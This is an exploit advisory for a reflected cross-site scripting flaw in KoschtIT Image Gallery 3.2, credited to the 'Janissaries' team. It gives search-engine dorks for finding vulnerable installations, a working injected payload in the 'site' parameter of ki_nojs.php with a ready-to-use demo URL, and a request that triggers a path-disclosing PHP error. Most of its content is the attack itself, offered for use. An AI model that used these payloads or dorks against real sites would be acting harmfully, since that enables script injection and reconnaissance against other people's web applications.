KoschtIT Image Gallery 3.2 Cross Site Scripting

`#########################################################################  
# __ .__ .__ #  
# |__|____ ____ |__| ______ ___________ _______|__| ____ ______ #  
# | \__ \ / \| |/ ___// ___/\__ \\_ __ \ |/ __ \ / ___/ #  
# | |/ __ \| | \ |\___ \ \___ \ / __ \| | \/ \ ___/ \___ \ #  
#/\__| (____ /___| /__/____ >____ >(____ /__| |__|\___ >____ > #  
#\______| \/ \/ \/ \/ \/ \/ \/ #  
# www.janissaries.org #  
##=====================================================================##   
  
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx  
«««:»»» koschtit_image_gallery(v3.2) Cross Site Scripting «««:»»»  
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx  
  
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++  
./Title Exploit : KoschtIT Image Gallery Cross Site Scripting [XSS]  
./WebApps URL : http://koschtit.tabere.net/en/#download  
./Author Exploit: [ TheMirkin ] [ [email protected] ] [ All Janissaries ]  
./Security Risk : [ High Level ]  
./Category XPL : [ WebApps]  
./Time & Date : 11.12.2014. 09:55 PM.  
./Tested on: [Windos 8]  
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++  
#################################################################################  
  
#  
#  
# Dork : inur:ki_nojs.php?gallery  
# inurl:ki_base  
#  
# #=> Exploit: Cross Site Scripting [XSS]  
# This vulnerability affects   
File : ki_base/ki_nojs.php  
  
# GET input site was set to ' onmouseover=prompt(956927) bad='  
# Demo:   
# http://[rarget]/ki_base/ki_nojs.php?gallery=gallery2&site=%27%20onmouseover%3dprompt%28956927%29%20bad%3d%27&startfrom=1  
#   
  
# #=> Application error message  
# ki_nojs.php?gallery=gallery2&site=/en/&startfrom[]=18  
# http://[rarget]/ki_base/ki_nojs.php?gallery=gallery2&site=/en/&startfrom[]=18  
Fatal error: Unsupported operand types in /home/user/publis_html/script/ki_base/ki_nojs.php on line 365   
#   
#   
# xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx[ Thanks For All ]xxxxxxxxxxxxxxxxxxxxxxxxxxxxx #  
# Special Thanks : Burtay and All Janissaries Team(Burtay,B127Y,Miyachung,3spi0n,TheMirkin,Michelony)  
#################################################################################  
`